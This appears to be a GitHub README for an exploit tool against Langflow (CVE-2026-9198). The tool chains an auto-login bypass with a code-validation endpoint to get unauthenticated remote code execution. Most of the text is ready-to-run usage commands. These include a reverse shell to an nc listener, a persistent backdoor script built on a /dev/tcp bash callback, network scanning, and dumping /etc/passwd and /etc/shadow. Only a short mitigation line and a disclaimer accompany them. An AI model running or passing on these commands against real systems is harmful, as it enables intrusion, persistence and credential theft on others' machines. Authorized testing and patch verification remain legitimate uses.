
IBM Langflow Unauthenticated RCE via Auto-Login Bypass
CVE-2026-9198 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in IBM Langflow OSS. This exploit chains two vulnerabilities:
/api/v1/validate/code endpoint that allows arbitrary Python execution⚠️ WARNING: This tool is for authorized security testing and educational purposes only. Unauthorized use is illegal.
pip package managergit clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
Or install all dependencies at once:
pip install -r requirements.txt
python CVE-2026-9198.py --help
You should see the help menu with all available options.
Execute a single command on the target:
python CVE-2026-9198.py -t <target_ip> -c "id"
Example:
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
Launch an interactive shell with dynamic prompts:
python CVE-2026-9198.py -t <target_ip> --shell
Features:
user@host and current directorycd command support with automatic prompt updateExample session:
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
Send a reverse shell payload to a listener:
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
Example:
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
If Langflow is running on a non-default port:
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
Example:
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
Skip the auto-login process and use an existing token:
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
Adjust HTTP timeout for slower networks:
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
To protect against this vulnerability:
/api/v1/auto_login and /api/v1/validate/codeThis tool is provided for educational and authorized security testing purposes only. The author is not responsible for any misuse or damage caused by this software. Users are solely responsible for complying with applicable laws and regulations.
This project is licensed under the MIT License - see the LICENSE file for details.
0xgh057r3c0n
Contributions are welcome! Please feel free to submit a Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)If you find this tool useful, please consider giving it a ⭐ on GitHub!
| Argument | Description | Required | Default |
|---|
-t, --target | Target host/IP or full URL | ✅ Yes | - |
-p, --port | Langflow port | ❌ No | 7860 |
-c, --cmd | Execute a single command | ❌ No | "id" |
--shell | Interactive pseudo-shell mode | ❌ No | False |
--lhost | Reverse shell listener IP | ❌ No | - |
--lport | Reverse shell listener port | ❌ No | 4444 |
-k, --token | Use provided bearer token | ❌ No | - |
--timeout | HTTP timeout in seconds | ❌ No | 20 |
--no-banner | Hide the banner | ❌ No | False |